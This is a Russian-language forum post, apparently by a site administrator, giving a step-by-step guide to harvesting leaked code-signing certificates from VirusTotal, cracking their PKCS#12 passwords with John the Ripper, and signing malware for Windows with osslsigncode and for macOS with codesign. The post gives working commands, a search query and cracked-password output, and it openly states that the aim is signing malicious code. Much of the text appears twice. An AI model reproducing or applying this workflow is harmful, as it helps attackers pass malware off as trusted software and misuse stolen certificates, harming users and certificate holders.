- 20.06.2022
- 27 024
- 230
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1
1. Поиск сертификатов.
Существует множество различных способов найти сертификаты для подписи кода в Интернете. Если вам повезет, то вы можете найти тот, который все еще актуален. В своей статье я главным образом использовал VirusTotal, но на такие платформы как Grayhat Warfare и GitHub также загружено множество сертификатов.
С помощью приведенного ниже запроса вы сможете найти файлы с последовательностью байтов, обычно наблюдаемой в сертификатах для подписи кода. Эта последовательность является частью файлов в кодировке ASN.1 DER (RFC7292). В качестве значения смещения (offset) 4 должен присутствовать номер версии, который всегда имеет значение 3. Это обозначается записью 02 01 03. Четвертый байт в последовательности равен 30, что представляет собой начало новой последовательности.
Результаты можно загрузить через графический интерфейс или API VirusTotal:
Итого, я скачал около 50 сертификатов, которые недавно были загружены на VirusTotal.
2. Взлом паролей PKCS#12
Моя любимая программа для взлома хэшей — Hashcat. К сожалению, он не поддерживает взлом файлов PKCS#12. В то время как John the Ripper поддерживает PKCS#12. Сначала нам нужно извлечь хэш из нашего файла PKCS#12. Это можно сделать с помощью Python-скрипта John The Ripper pfx2john.py. Совместимый с Python 3 скрипт.
Как можно заметить, некоторые хэши были успешно взломаны. Пароль для последнего — test. Проверьте, являются ли взломанные сертификаты доверенными и действительными (например, не были ли они отозваны CA). Для доверенных и действительных убедитесь, что у них есть идентификатор объекта подписи кода (OID): 1.3.6.1.5.5.7.3.3. Будем надеяться, что в результате у вас остался как минимум один сертификат. Теперь вы можете использовать его для подписи своего вредоносного кода!
PS: если вы хотите использовать более обширный лист паролей с John the Ripper, поищите его на сайте Weakpass. Также рекомендую использовать маски паролей. Я добавил два соответствующих примера ниже, чтобы вам было с чего начать.
3. Подписываем код вредоносных программ
Если вы по итогу нашли и взломали пароль для действующего и надежного сертификата, вы можете использовать его теперь для подписи вредоносных программ. Я продемонстрирую ниже пример подписи сертификатом вредоносного ПО как для Windows, так и для MacOS.
Чтобы убедиться, что подпись действительна и правильно применена, вы также можете использовать osslsigncode.
Обратите внимание, osslsigncode не проверяет, был ли отозван сертификат.
После этого импортируйте сертификат подписи в свою связку ключей. Щелкните по ней правой кнопкой мыши и создайте новое удостоверение подписи. Используйте имя по вашему выбору.
Теперь вы можете использовать это удостоверение для подписи вашего вредоносного приложения.
Чтобы проверить, все ли заработало, проверяем подпись. Если все в порядке, команда ничего не выведет.
Если что-то пошло не так, будет показана ошибка. Вот как выглядит вывод, когда ваш сертификат был отозван:
Существует множество различных способов найти сертификаты для подписи кода в Интернете. Если вам повезет, то вы можете найти тот, который все еще актуален. В своей статье я главным образом использовал VirusTotal, но на такие платформы как Grayhat Warfare и GitHub также загружено множество сертификатов.
С помощью приведенного ниже запроса вы сможете найти файлы с последовательностью байтов, обычно наблюдаемой в сертификатах для подписи кода. Эта последовательность является частью файлов в кодировке ASN.1 DER (RFC7292). В качестве значения смещения (offset) 4 должен присутствовать номер версии, который всегда имеет значение 3. Это обозначается записью 02 01 03. Четвертый байт в последовательности равен 30, что представляет собой начало новой последовательности.
Код:
content:{02 01 03 30}@4 NOT tag:msi AND NOT tag:peexe
Результаты можно загрузить через графический интерфейс или API VirusTotal:

Итого, я скачал около 50 сертификатов, которые недавно были загружены на VirusTotal.
2. Взлом паролей PKCS#12
Моя любимая программа для взлома хэшей — Hashcat. К сожалению, он не поддерживает взлом файлов PKCS#12. В то время как John the Ripper поддерживает PKCS#12. Сначала нам нужно извлечь хэш из нашего файла PKCS#12. Это можно сделать с помощью Python-скрипта John The Ripper pfx2john.py. Совместимый с Python 3 скрипт.
Если вы сгенерировали хэши на основе найденных вами сертификатов, вы можете взломать их с помощью John The Ripper с приведенными ниже аргументами. В данном примере мы используем rockyou.txt в качестве вордлиста.pfx2john.py certificate.pfx > certificate.hash
Код:
$ john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/*
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2)])
-- snip --
123 (7f61a5a51fe9eef15c9e2ddf03fe10c6.pfx)
123 (66a9882f1d8463501f7fc89b1a12700b.pfx)
(83bfdbd568b967baf24b7c44935b9a12.pfx)
test (certificate.pfx)
-- snip --
Session completed.
Как можно заметить, некоторые хэши были успешно взломаны. Пароль для последнего — test. Проверьте, являются ли взломанные сертификаты доверенными и действительными (например, не были ли они отозваны CA). Для доверенных и действительных убедитесь, что у них есть идентификатор объекта подписи кода (OID): 1.3.6.1.5.5.7.3.3. Будем надеяться, что в результате у вас остался как минимум один сертификат. Теперь вы можете использовать его для подписи своего вредоносного кода!

PS: если вы хотите использовать более обширный лист паролей с John the Ripper, поищите его на сайте Weakpass. Также рекомендую использовать маски паролей. Я добавил два соответствующих примера ниже, чтобы вам было с чего начать.
Код:
# With rules
./john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/* --rules:OneRuleToRuleThemAll
# With mask
./john --mask=?1?1?1?1?1?1?1?1?1 -1=[A-z0-9\!\@] --format=pfx-opencl ./hashes/* -min-len=1
3. Подписываем код вредоносных программ
Если вы по итогу нашли и взломали пароль для действующего и надежного сертификата, вы можете использовать его теперь для подписи вредоносных программ. Я продемонстрирую ниже пример подписи сертификатом вредоносного ПО как для Windows, так и для MacOS.
Windows
Для подписи PE-файлов существует замечательный проект с открытым исходным кодом под названием osslsigncode. После установки выполните следующую команду, чтобы создать подписанную версию вашей вредоносной программы.
Код:
osslsigncode sign -pkcs12 certificate.pfx -pass test -in malware.exe -out signed-malware.exe
Succeeded
Чтобы убедиться, что подпись действительна и правильно применена, вы также можете использовать osslsigncode.
Код:
-- snip --
Authenticated attributes:
Message digest algorithm: SHA256
Message digest: C89F86DBE18BB37C44857F3535E5984DCA783610BDFEBF18F659F5275D8D5236
Signing time: Jun 7 18:49:06 2023 GMT
Microsoft Individual Code Signing purpose
-- snip --
Signature verification: ok
Number of verified signatures: 1
Succeeded
Обратите внимание, osslsigncode не проверяет, был ли отозван сертификат.

MacOS
Если вы подписываете существующее (модифицированное) приложение для MacOS, сначала удалите существующую подпись.codesign --remove-signature malicious.app
После этого импортируйте сертификат подписи в свою связку ключей. Щелкните по ней правой кнопкой мыши и создайте новое удостоверение подписи. Используйте имя по вашему выбору.

Теперь вы можете использовать это удостоверение для подписи вашего вредоносного приложения.
codesign -s "your_identity" malicious.app
Чтобы проверить, все ли заработало, проверяем подпись. Если все в порядке, команда ничего не выведет.
codesign --verify malicious.app
Если что-то пошло не так, будет показана ошибка. Вот как выглядит вывод, когда ваш сертификат был отозван:
codesign --verify malicious.app
malicious.app: CSSMERR_TP_CERT_REVOKED
In architecture: x86_64
Последние темы в этом разделе:
- Как восстановить свой телеграм аккаунт в 2025 году
- Автоматизация Без Границ: Инструменты для Связывания Приложений и Оптимизации Рутины
- Построение "Второго Мозга": Инструменты для Персонального Управления Знаниями (PKM)
- 10 Инструментов для Визуального Сторителлинга Данных
- LLM Без Кода: Инструменты для Быстрого Создания Приложений
- 5 Продвинутых Инструментов для Нового Уровня Работы с Данными в LLM-системах
- 5 инструментов для улучшения работы с данными и LLM-системами
- ✍️ Подборка нейроинструментов для креативщиков 2025
- ✍️ Подборка полезных нейросетей для создания контента и работы:
- Бесплатно получаем «Chat GPT Plus»